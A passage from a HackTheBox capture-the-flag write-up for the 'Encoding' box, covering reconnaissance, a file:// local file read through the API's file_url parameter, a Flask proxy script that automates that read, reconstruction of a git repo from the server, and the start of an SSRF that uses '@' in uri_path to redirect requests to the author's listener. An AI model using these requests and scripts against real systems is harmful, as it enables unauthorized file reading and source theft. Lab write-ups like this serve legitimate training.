Encoding centered around a web application where I’ll first identify a file read vulnerability, and leverage that to exfil a git repo from a site that I can’t directly access. With that repo, I’ll identify a new web URL that has a local file include vulnerability, and leverage a server-side request forgery to hit that and get execution using php filter injection. To get to the next user I’ll install a malicious git hook. That user is able to create and start services, which I’ll abuse to get root. In Beyond root, I’ll look at an SSRF that worked for IppSec but not me, and show how we troubleshot it to find some unexpected behavior from the PHP parse_url function.

Box Info

Name Encoding Encoding
Play on HackTheBox
Release Date 28 Jan 2023
Retire Date 15 Apr 2023
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for Encoding
Radar Graph Radar chart for Encoding
First Blood User 00:56:52jkr
First Blood Root 00:59:15jkr
Creator kavigihan



nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-09 21:05 EDT
Nmap scan report for
Host is up (0.087s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds
oxdf@hacky$ nmap -p 22,80 -sCV
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-09 21:06 EDT
Nmap scan report for
Host is up (0.087s latency).

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: HaxTables
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.77 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 22.04 jammy.

Website - TCP 80


The site is called HaxTables:


It describes itself as:

Free online String and Number converter. Just load your input and they will automatically get converted to selected format. A collection of useful utilities for working with String and Integer values. All are simple, free and easy to use. There are no ads, popups or other garbage!

The “About us” link doesn’t go anywhere. The “Convertions” is a drop-down menu:


The “Images” link just leads to a page that says “Coming soon!”. The “String” and “Integer” links lead to very similar pages that take some input text and allow the user to select a conversion:


It does what would be expected:


The “API” link have a page with a bunch of examples for interacting with the API at api.haxtables.htb:

The examples are all Python examples using the Requests module to interact with the endpoints.

Tech Stack

The URLs show that this page is written in PHP. In fact, it’s using a common PHP pattern, where each page is of the form If page=string, it loads the string conversions page. Similarly with page=integer and page=image.

index.php is almost certainly taking the page parameter manipulating it by filtering, prepending a path, and appending .php.

Sometimes it’s possible to access these files directly by visiting something like, but it returns 404 not found. /includes.image.php also is 404. It turns out the page is /includes/image.html and that is accessible, but it’s not important to know that.

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since I know the site is PHP:

oxdf@hacky$ feroxbuster -u -x php 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.9.3
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.9.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🏁  Press [ENTER] to use the Scan Management Menu™
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        1l        3w       16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      315c =>
200      GET       48l      137w     1999c
200      GET       31l       80w     1019c
301      GET        9l       28w      313c =>
200      GET      167l      329w     3025c
200      GET     2206l    13654w  1120123c
200      GET       48l      137w     1999c
200      GET        5l       53w      375c
200      GET        1l        2w       38c
[####################] - 2m     86041/86041   0s      found:9       errors:428    
[####################] - 2m     43008/43008   279/s 
[####################] - 2m     43008/43008   279/s 
[####################] - 0s     43008/43008   0/s => Directory listing
[####################] - 1s     43008/43008   0/s => Directory listing
[####################] - 0s     43008/43008   0/s => Directory listing
[####################] - 0s     43008/43008   0/s => Directory listing

Nothing new or interesting here.

Before version 2.9.3 of feroxbuster, I’ll need to explicitly filter 404 and 403 to get rid of a ton of noise (-C 403,404). It turns out that non-existent pages ending in .php return different 404 pages (9 lines) than non-existent pages without an extension (1 line), so the auto filtering doesn’t filter the .php 404s. Within a day of tipping off epi, the v2.9.3 release fixed the autofilter!

API Calls

When I click submit on one of the forms, there’s JavaScript in the page that sends a request to /handler.php. The JavaScript invoked is the make_req function:

function make_req() {
    var ele = document.getElementsByClassName('selectopt');
    for(i = 0; i < ele.length; i++) {
        var action = ele[i].value;

    var data = document.getElementById("data").value;
    var uri_path = document.getElementById("uri_path").value;

    var xmlhttp = new XMLHttpRequest(); 
    var theUrl = "/handler.php";
    xmlhttp.open("POST", theUrl);
    xmlhttp.responseType = 'json';
    xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
        "action": action,
        "data": data,
        "uri_path" : uri_path 

    xmlhttp.onload = function() {
        let responseObj = xmlhttp.response;
        if (typeof responseObj.data === 'undefined') {
            document.getElementById('data_out').value = responseObj.message;
        } else {
            document.getElementById('data_out').value = responseObj.data;

This generates a POST request to /handler.php that looks like:

POST /handler.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Content-Length: 69
Connection: close

{"action":"md5","data":"0xdf was here","uri_path":"/v3/tools/string"}

I’ll note that a path is being sent in the request as something I might mess with.

Subdomain Brute Force

Given the use of api.haxtables.htb, I’ll brute force for any additional subdomains that may be in use. Originally I’ll start it without a filter, and notice that the default case is 1999 characters:

oxdf@hacky$ wfuzz -u -H "Host: FUZZ.haxtables.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Total requests: 4989

ID           Response   Lines    Word       Chars       Payload

000000001:   200        48 L     137 W      1999 Ch     "www"
000000042:   200        48 L     137 W      1999 Ch     "static"
000000041:   200        48 L     137 W      1999 Ch     "dns1"
000000015:   200        48 L     137 W      1999 Ch     "ns"
000000003:   200        48 L     137 W      1999 Ch     "ftp"
000000043:   200        48 L     137 W      1999 Ch     "lists"
000000031:   200        48 L     137 W      1999 Ch     "mobile"
000000040:   200        48 L     137 W      1999 Ch     "ns4"
000000007:   200        48 L     137 W      1999 Ch     "webdisk"

The default case seems to be 1999 characters, so running with --hh 1999 will hide those responses and show anything different:

oxdf@hacky$ wfuzz -u -H "Host: FUZZ.haxtables.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hh 1999
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Total requests: 4989

ID           Response   Lines    Word       Chars       Payload

000000051:   200        0 L      0 W        0 Ch        "api"
000000177:   403        9 L      28 W       284 Ch      "image"

Total time: 0
Processed Requests: 4989
Filtered Requests: 4987
Requests/sec.: 0

It finds one more, image.haxtables.htb. I’lll add all of these to my /etc/hosts file: haxtables.htb api.haxtables.htb image.haxtables.htb

image.haxtables.htb - TCP 80

Visiting http://image.haxtables.htb returns an Apache 403 Forbidden page.

feroxbuster doesn’t find anything.

This seems like a dead end for now. It could be filtering based on my IP, or I might need to know a path on the virtual host. Either way, once I get a shell or a way to make requests from the host I’ll come back.

api.haxtables.htb - TCP 80


The root api.haxtables.htb returns an empty response. However, the API page on the main site has documentation about the API. This is not a very realistic looking API, but perhaps it fits the toy website on this box.

The documentation gives the following endpoints:

  • POST to /v3/tools/string/index.php - takes an action and data, where action defines the string conversion requested to be performed on data.
  • POST to /v3/tools/integer/index.php - same as string, taking an action and data.

Both endpoints can also handle requests sent as form data and with a file_url instead of the data to be encoded.

Form Data

I went down a bit of a rabbit hole looking at the form data - This section isn’t important for solving the box.

The example uses both data :

data = {'action': 'str2hex'}
f = {'data_file' : open('/tmp/data.txt', 'rb')}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', data=data, files=f)

files in a requests request tells it to send it as multipart form data. The HTTP request will define a boundary in the Content-Type header, and then have sections divided by that boundary string, each with some metadata and then the data.

In this example, for some reason they put part of it in as data and part as files. requests will combine data and files and handle them all like files (though the action doesn’t get a filename metadata entry):

POST /v3/tools/string/index.php HTTP/1.1
Host: api.haxtables.htb
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 249
Content-Type: multipart/form-data; boundary=1c2d49b3b9286f33ea5a1aeb8e8e3843

Content-Disposition: form-data; name="action"

Content-Disposition: form-data; name="data_file"; filename="temp"

temp data


This is weird, but not important for solving the box.


The last example shows giving a URL instead of data:

import requests

json_data = {
    'action': 'str2hex',
     'file_url' : 'http://example.com/data.txt'

response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)

I’ll create a simple text file named test.txt and host it with a Python webserver. I’ll send the URL for that file to this endpoint:

>>> json_data = {"action": "str2hex", "file_url": ""}
>>> resp = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)

It works. It gets a 200 response. There is also a hit on my webserver: - - [11/Apr/2023 14:31:47] "GET /test.txt HTTP/1.1" 200 -

The response body shows the returned data, hex-encoded:

>>> resp.json()
{'data': '746573740a'}

I’ll use xxd to verify this is the same data:

oxdf@hacky$ echo "746573740a" | xxd -r -p

Brute Force

I’ll run feroxbuster on this site as well. I typically run with -m GET,POST for APIs, but it doesn’t show anything additional here, so for the sake of cleanliness, I’ll show just GET requests. I also typically wouldn’t include an extension for an API, but I’ve already seen this one has .php extensions:

oxdf@hacky$ feroxbuster -u http://api.haxtables.htb -x php 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.9.3
 🎯  Target Url            │ http://api.haxtables.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.9.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🏁  Press [ENTER] to use the Scan Management Menu™
403      GET        9l       28w      282c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        1l        3w       16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        0l        0w        0c http://api.haxtables.htb/
200      GET        0l        0w        0c http://api.haxtables.htb/index.php
200      GET        0l        0w        0c http://api.haxtables.htb/utils.php
301      GET        9l       28w      319c http://api.haxtables.htb/v2 => http://api.haxtables.htb/v2/
200      GET        0l        0w        0c http://api.haxtables.htb/v2/header.php
200      GET        1l       14w      108c http://api.haxtables.htb/v2/tools/index.php
301      GET        9l       28w      325c http://api.haxtables.htb/v2/tools => http://api.haxtables.htb/v2/tools/
301      GET        9l       28w      319c http://api.haxtables.htb/v1 => http://api.haxtables.htb/v1/
301      GET        9l       28w      319c http://api.haxtables.htb/v3 => http://api.haxtables.htb/v3/
200      GET        1l       14w      108c http://api.haxtables.htb/v2/tools/
200      GET        1l        2w       38c http://api.haxtables.htb/v1/tools/string/index.php
200      GET        1l        2w       38c http://api.haxtables.htb/v3/tools/string/index.php
301      GET        9l       28w      332c http://api.haxtables.htb/v1/tools/string => http://api.haxtables.htb/v1/tools/string/
301      GET        9l       28w      333c http://api.haxtables.htb/v1/tools/integer => http://api.haxtables.htb/v1/tools/integer/
301      GET        9l       28w      333c http://api.haxtables.htb/v3/tools/integer => http://api.haxtables.htb/v3/tools/integer/
200      GET        1l        2w       38c http://api.haxtables.htb/v1/tools/integer/index.php
200      GET        1l        2w       38c http://api.haxtables.htb/v3/tools/integer/index.php
301      GET        9l       28w      332c http://api.haxtables.htb/v3/tools/string => http://api.haxtables.htb/v3/tools/string/
200      GET        1l        2w       38c http://api.haxtables.htb/v1/tools/string/
200      GET        1l        2w       38c http://api.haxtables.htb/v1/tools/integer/
200      GET        1l        2w       38c http://api.haxtables.htb/v3/tools/integer/
200      GET        1l        2w       38c http://api.haxtables.htb/v3/tools/string/
200      GET        0l        0w        0c http://api.haxtables.htb/v1/tools/string/utils.php
200      GET        0l        0w        0c http://api.haxtables.htb/v1/tools/integer/utils.php
200      GET        0l        0w        0c http://api.haxtables.htb/v3/tools/string/utils.php
301      GET        9l       28w      332c http://api.haxtables.htb/v2/tools/string => http://api.haxtables.htb/v2/tools/string/
200      GET        1l       14w      108c http://api.haxtables.htb/v2/tools/string/
[####################] - 5m    301089/301089  0s      found:27      errors:180117 
[####################] - 3m     43008/43008   189/s   http://api.haxtables.htb/ 
[####################] - 0s     43008/43008   0/s     http://api.haxtables.htb/v2/ => Directory listing
[####################] - 3m     43008/43008   187/s   http://api.haxtables.htb/v2/tools/ 
[####################] - 0s     43008/43008   0/s     http://api.haxtables.htb/v1/ => Directory listing
[####################] - 0s     43008/43008   0/s     http://api.haxtables.htb/v3/ => Directory listing
[####################] - 0s     43008/43008   0/s     http://api.haxtables.htb/v1/tools/ => Directory listing
[####################] - 0s     43008/43008   0/s     http://api.haxtables.htb/v3/tools/ => Directory listing
[####################] - 3m     43008/43008   186/s   http://api.haxtables.htb/v1/tools/string/ 
[####################] - 3m     43008/43008   186/s   http://api.haxtables.htb/v1/tools/integer/ 
[####################] - 3m     43008/43008   185/s   http://api.haxtables.htb/v3/tools/string/ 
[####################] - 3m     43008/43008   185/s   http://api.haxtables.htb/v3/tools/integer/ 
[####################] - 3m     43008/43008   191/s   http://api.haxtables.htb/v2/tools/string/ 

One thing that immediately jumped out is that not only /v3, but /v1 and /v2 seem to exist with the same endpoints. This is really just a rabbit hole.

Shell as www-data

File Read

Enumerate Requests

I’m curious to see how the PHP server is making the request to get the file from a given URL. I’ll use nc to listen on 80 and get it to make the same request to me again:

oxdf@hacky$ nc -lnvp 80
Listening on 80
Connection received on 56144
GET /test.txt HTTP/1.1
Accept: */*

No User-Agent string.

SSRF [Fail…Sort Of]

I wasn’t able to read anything from image.haxtables.htb from my host. It’s worth trying to see if I can reach it via the website functionality. If I can exploit anything there, that would be a server-side request forgery (SSRF).

Unfortunately, it replies that is an “Unacceptable URL”:

>>> json_data = {"action": "str2hex", "file_url": ""}
>>> resp = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
>>> resp.json()
{'message': 'Unacceptable URL'}

I’ll check http://image.haxtables.htb as well, with the same result:

>>> json_data = {"action": "str2hex", "file_url": "http://image.haxtables.htb/"}
>>> resp = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
>>> resp.json()
{'message': 'Unacceptable URL'}

It turns out there’s a bypass here, which I only discovered after solving and chatting about the box with IppSec. I’ll talk about that in Beyond Root.

Local File Read

Given that the site is parsing URLs, I’ll try the file:// scheme to see if it can read files from disk. It can!

>>> json_data = {"action": "str2hex", "file_url": "file:///etc/hostname"}
>>> resp = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
>>> resp.json()
{'data': '656e636f64696e670a'}

That decodes to “encoding”, which makes sense as the hostname:

>>> bytes.fromhex("656e636f64696e670a").decode()

Make Proxy

I’m going to make a Flask proxy to make reading from the file system easy. I’ll walk through that in this video:

The final script is here:

#!/usr/bin/env python3

import requests
from flask import Flask, Response

app = Flask(__name__)

def get_file(file):

    req_data = {"action": "str2hex", "file_url": f"file:///{file}"}
    resp = requests.post("http://api.haxtables.htb/v3/tools/string/index.php", json=req_data)
    return Response(bytes.fromhex(resp.json()['data']), content_type="application/octet-stream")

if __name__ == "__main__":

When I run it, it listens on port 5000 such that I can do things like this in another terminal:

oxdf@hacky$ curl
oxdf@hacky$ curl

Filesystem Enumeration

Locate Web Roots

With the proxy in place, I’ll start reading files from the filesystem. I’ll see if I can pull the config for Apache, which is by default at /etc/apache2/sites-enabled/000-default.conf. It defines three virtual hosts.

The first is the default, with a web root at /var/www/html:

<VirtualHost *:80>
        ServerName haxtables.htb
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined


The second is for the API host, with a root at /var/www/api:

<VirtualHost *:80>
        ServerName api.haxtables.htb
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/api
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

The third is for image, which is rooted at /var/www/image:

<VirtualHost *:80>
        ServerName image.haxtables.htb
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/image
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        #SecRuleEngine On

        <LocationMatch />
                SecAction initcol:ip=%{REMOTE_ADDR},pass,nolog,id:'200001'
                SecAction "phase:5,deprecatevar:ip.somepathcounter=1/1,pass,nolog,id:'200002'"
                SecRule IP:SOMEPATHCOUNTER "@gt 5" "phase:2,pause:300,deny,status:509,setenv:RATELIMITED,skip:1,nolog,id:'200003'"
                SecAction "phase:2,pass,setvar:ip.somepathcounter=+1,nolog,id:'200004'"
                Header always set Retry-After "10" env=RATELIMITED

        ErrorDocument 429 "Rate Limit Exceeded"

        <Directory /var/www/image> 
                Deny from all
                Allow from
                Options Indexes FollowSymLinks
                AllowOverride All
                Require all granted

This server has a bit more defined. The last section sets it so that any host except for localhost is blocked trying to access this server.


The main site index.html has the HTML for the nav bar, and then in the main body has this PHP:

if (isset($_GET['page'])) {
    $page = $_GET['page'];
    if ($page === 'integer') {
    } else if ($page === 'string') {
    } else if ($page === 'image') {
    } else if ($page === 'api') {
      } else {
} else {

This is a safe include, as it only includes specific pages.

I noted above that conversions were handled by handler.php:

include_once '../api/utils.php';

if (isset($_FILES['data_file'])) {
    $is_file = true;
    $action = $_POST['action'];
    $uri_path = $_POST['uri_path'];
    $data = $_FILES['data_file']['tmp_name'];

} else {
    $is_file = false;
    $jsondata = json_decode(file_get_contents('php://input'), true);
    $action = $jsondata['action'];
    $data = $jsondata['data'];
    $uri_path = $jsondata['uri_path'];

    if ( empty($jsondata) || !array_key_exists('action', $jsondata) || !array_key_exists('uri_path', $jsondata)) 
        echo jsonify(['message' => 'Insufficient parameters!']);
        // echo jsonify(['message' => file_get_contents('php://input')]);



$response = make_api_call($action, $data, $uri_path, $is_file);
echo $response;


This file organizes the user input and passes it to make_api_call, which is defined in the included /var/www/api/utils.php. The function uses curl to make a request at api.haxtables.htb:

function make_api_call($action, $data, $uri_path, $is_file = false){
    if ($is_file) {
        $post = [
            'data' => file_get_contents($data),
            'action' => $action,
            'uri_path' => $uri_path
    } else {
        $post = [
            'data' => $data,
            'action' => $action,
            'uri_path' => $uri_path
    $ch = curl_init();
    $url = 'http://api.haxtables.htb' . $uri_path . '/index.php';
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post));
    curl_setopt( $ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
    $response = curl_exec($ch);
    return $response;

So the page uses JavaScript to hit another page on the main site, and that site uses PHP to issue a request to the API. The response is passed back to the PHP page and then packaged to send to the user. This is a very odd site flow.

There’s also an SSRF vulnerability in this page which I’ll show below.


The index.php on image.haxtables.htb is very simple:


include_once 'utils.php';

include 'includes/coming_soon.html';


The HTML page is just static. utils.php has a bunch of functions. get_url_content is using curl to get files from a URL:

function get_url_content($url)
    $domain = parse_url($url, PHP_URL_HOST);
    if (gethostbyname($domain) === "") {
        echo jsonify(["message" => "Unacceptable URL"]);

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $url_content =  curl_exec($ch);
    return $url_content;


The gethostbyname check is what blocks me from accessing localhost or or image.haxtables.htb (I’ll show why this fails in Beyond Root).

Three functions at the bottom are interacting with git:

function git_status()
    $status = shell_exec('cd /var/www/image && /usr/bin/git status');
    return $status;

function git_log($file)
    $log = shell_exec('cd /var/www/image && /usr/bin/git log --oneline "' . addslashes($file) . '"');
    return $log;

function git_commit()
    $commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');
    return $commit;

The first thing to look at is the shell_exec calls, but it seems that no user input is used to form the commands, so there’s not command execution there. It is interesting to note for later that the user running the webserver is able to run sudo as svc for these commands without a password. I’ll come back to git-commit.sh as well.

This script also suggests there is a Git repository here.

oxdf@hacky$ curl http://localhost:5000/var/www/image/.git/config
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true

It’s there.

Download Repo Manually

The author’s intended path is to rebuild the repo manually using the file read vulnerability. This man page shows the layout of a Git repo. I’ll start in an empty directory initializing the repo:

oxdf@hacky$ git init
Initialized empty Git repository in ~/hackthebox/encoding-

I’ll add config and HEAD:

oxdf@hacky$ curl -s http://localhost:5000/var/www/image/.git/config > .git/config
oxdf@hacky$ curl -s http://localhost:5000/var/www/image/.git/HEAD | tee .git/HEAD
ref: refs/heads/master

Knowing the HEAD, I’ll fetch the file in refs/heads/[branch name] that will give the “tip-of-the-tree” commit:

oxdf@hacky$ mkdir -p .git/refs/heads
oxdf@hacky$ curl -s http://localhost:5000/var/www/image/.git/refs/heads/master | tee .git/refs/heads/master

I’m using tee to both see the contents of the file and save the file into my repo. The commit is a SHA1 hash, and the associated objects will be in .git/objects/[first two char of sha1]/[rest of sha1]:

oxdf@hacky$ curl -s http://localhost:5000/var/www/image/.git/objects/9c/17e5362e5ce2f30023992daad5b74cc562750b | tee .git/objects/9c/17e5362e5ce2f30023992daad5b74cc562750b
0=,&m           nii`ʺ,ZAPH:S(\:Q:Of*/gIHy$

The results are not obvious. That’s because they are zlib compressed. That article shows up to decompress them with Python:

oxdf@hacky$ python
Python 3.11.2 (main, Feb  8 2023, 14:49:25) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import zlib 
>>> with open('.git/objects/9c/17e5362e5ce2f30023992daad5b74cc562750b', 'rb') as f:
...     compressed_contents = f.read()
>>> decompressed_contents = zlib.decompress(compressed_contents)
>>> print(decompressed_contents.decode())
commit 219tree 30617cae3686895c80152d93a0568e3d0b6a0c49
parent a85ddf4be9e06aa275d26dfaa58ef407ad2c8526
author james <james@haxtables.htb> 1668104210 +0000
committer james <james@haxtables.htb> 1668104210 +0000

Updated scripts!

Alternatively, there’s a git subcommand, cat-file (docs, that will do this:

oxdf@hacky$ git cat-file -p 9c17e5362e5ce2f30023992daad5b74cc562750b
tree 30617cae3686895c80152d93a0568e3d0b6a0c49
parent a85ddf4be9e06aa275d26dfaa58ef407ad2c8526
author james <james@haxtables.htb> 1668104210 +0000
committer james <james@haxtables.htb> 1668104210 +0000

Updated scripts!

This object is built with a reference to another object, 30617cae3686895c80152d93a0568e3d0b6a0c49. I’ll need to get that on into place using the same method:

oxdf@hacky$ mkdir .git/objects/30
oxdf@hacky$ curl -s http://localhost:5000/var/www/image/.git/objects/30/617cae3686895c80152d93a0568e3d0b6a0c49 > .git/objects/30/617cae3686895c80152d93a0568e3d0b6a0c49
oxdf@hacky$ git cat-file -p 30617cae3686895c80152d93a0568e3d0b6a0c49
040000 tree 26c6c873fe81c801d731e417bf5d92e5bfa317d2    actions
040000 tree 9a515b22daea1a74bbcf5d348ad9339202a8edd6    assets
040000 tree 2aa032b5df9bbaeedff30b6e13be938e48cae5f4    includes
100644 blob 72f0e39a9438fc0f915f63e2f26b762eb170cf8b    index.php
040000 tree e074c833c28d3b024eeea724cf892a440f89a5aa    scripts
100644 blob ec9b154d84cab1888e2724c1083bf97eb57837c9    utils.php

This one references more trees and blobs. If I try a git status right now, it complains that the top tree item is missing:

oxdf@hacky$ git status 
fatal: unable to read tree 26c6c873fe81c801d731e417bf5d92e5bfa317d2

I’ll download the file as before, then run git status to see if anything is missing, and after a handful more, I get:

oxdf@hacky$ git status 
On branch master
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        deleted:    actions/action_handler.php
        deleted:    actions/image2pdf.php
        deleted:    assets/img/forestbridge.jpg
        deleted:    includes/coming_soon.html
        deleted:    index.php
        deleted:    scripts/git-commit.sh
        deleted:    utils.php

That’s saying that the repo shows those files in the last commit, but they are not on disk now, so it’s showing them as deleted.

Running git reset --hard shows a few more missing objects:

oxdf@hacky$ git reset --hard
error: unable to read sha1 file of actions/action_handler.php (2d600ee8a453abd9bd515c41c8fa786b95f96f82)
error: unable to read sha1 file of actions/image2pdf.php (e69de29bb2d1d6434b8b29ae775ad8c2e48c5391)
error: unable to read sha1 file of assets/img/forestbridge.jpg (62370b37f2f05b910c76c23d1d4ce9f7e3413ea6)
error: unable to read sha1 file of includes/coming_soon.html (f9d432448807f47dfd13cb71acc3fd6890f21ee0)
error: unable to read sha1 file of index.php (72f0e39a9438fc0f915f63e2f26b762eb170cf8b)
error: unable to read sha1 file of scripts/git-commit.sh (c1308cdc2b0fac3eb5b1e0872cdec44941ff22f5)
error: unable to read sha1 file of utils.php (ec9b154d84cab1888e2724c1083bf97eb57837c9)
fatal: Could not reset index file to revision 'HEAD'.

Once I download those, it works:

oxdf@hacky$ git reset --hard
HEAD is now at 9c17e53 Updated scripts!
oxdf@hacky$ git status 
On branch master
nothing to commit, working tree clean
oxdf@hacky$ ls
actions  assets  includes  index.php  scripts  utils.php


One of the reasons I wrote the Proxy the way I did was so that I could just use a tool like git-dumper to download the repo. It’ll make requests to http://localhost:5000/var/www/image/.git/ and the results will be the files it needs, as if they were hosted on that host. The only trick is that git-dumper is a bit picky about the content-type response header, so I had to make sure to set that in the proxy.

For some reason, I get an error having to do with downloading the all 0 object (seems like an error), and it says it’s corrupt, but it works fine for my purposes:

oxdf@hacky$ git-dumper http://localhost:5000/var/www/image/.git git-dumper/                                          
[-] Testing http://localhost:5000/var/www/image/.git/HEAD [200]
[-] Testing http://localhost:5000/var/www/image/.git/ [200]
[-] Fetching common files
[-] Fetching http://localhost:5000/var/www/image/.git/description [200]
[-] Fetching http://localhost:5000/var/www/image/.gitignore [200]
[-] Fetching http://localhost:5000/var/www/image/.git/hooks/applypatch-msg.sample [200]                      
[-] Fetching http://localhost:5000/var/www/image/.git/hooks/commit-msg.sample [200]
[-] Fetching http://localhost:5000/var/www/image/.git/objects/00/00000000000000000000000000000000000000 [200]
Task 0000000000000000000000000000000000000000 raised exception:
Traceback (most recent call last):
dulwich.objects.EmptyFileException: Corrupted empty file detected
[-] Running git checkout .
oxdf@hacky$ ls
actions  assets  includes  index.php  scripts  utils.php

image Source Analysis


After filtering out the files in .git, only a handful remain:

oxdf@hacky$ find . -path ./.git -prune -o -type f -print

I’ve already looked at index.php and utils.php. git-commit.sh involves committing to the local Git repo and is invoked via the API. I’ll come back to this script later, but for now, I’ll just say that I cannot conceive of a reason why someone would want this functionality in an API.


The actions directory has two files in it. image2pdf.php is empty. It’s not clear at this time if that’s an issue with how the repo was reconstructed or if it’s truly empty, but it is empty in both the git-dumper and manually reconstructed repo (once I get a shell I can confirm it’s empty on Encoding as well).

action_handler.php seems like it’s the start of a new main page:


include_once 'utils.php';

if (isset($_GET['page'])) {
    $page = $_GET['page'];

} else {
    echo jsonify(['message' => 'No page specified!']);


It doesn’t really do much yet, but it has an obvious file include vulnerability, as the user controls the page parameter.

SSRF in haxtables.htb

The intended way to exploit this box was through an SSRF in haxtables.htb. There’s a shortcut I’ll show in Beyond Root.

URI Structure

RFC 3986 Appendix-A shows the format of a URI. Pulling out the parts that matter here:

   URI           = scheme ":" hier-part [ "?" query ] [ "#" fragment ]

   hier-part     = "//" authority path-abempty
                 / path-absolute
                 / path-rootless
                 / path-empty
   scheme        = ALPHA *( ALPHA / DIGIT / "+" / "-" / "." )

   authority     = [ userinfo "@" ] host [ ":" port ]
   userinfo      = *( unreserved / pct-encoded / sub-delims / ":" )
   host          = IP-literal / IPv4address / reg-name
   port          = *DIGIT

So a URL can look like:


For this case, scheme is http. authority is the host, but it can have an optional :[port] after it, and an optional [userinfo]@ before it. path-abempty is either empty or starts with /.


In the make_api_call function, it takes user input to build a URL that is passed to curl:

$url = 'http://api.haxtables.htb' . $uri_path . '/index.php';

It’s clear that this can be any path on api.haxtables.htb that ends with /index.php. But because there’s no / between .htb and the user input, I can actually use this to reach other servers as well by adding an @ symbol.

If I send @ as the $uri_path, then $url will be:


I’ll send the POST request to haxtables.htb/handler.php into Burp Repeater and update the uri_path:

POST /handler.php HTTP/1.1
Host: haxtables.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Content-Length: 69
Connection: close

{"action":"md5","data":"0xdf was here","uri_path":"@"}

I’ll start nc listening on 80 and on sending the above request, there’s a request at nc from Encoding:

POST /index.php HTTP/1.1
Authorization: Basic YXBpLmhheHRhYmxlcy5odGI6
Accept: */*
Content-Length: 64

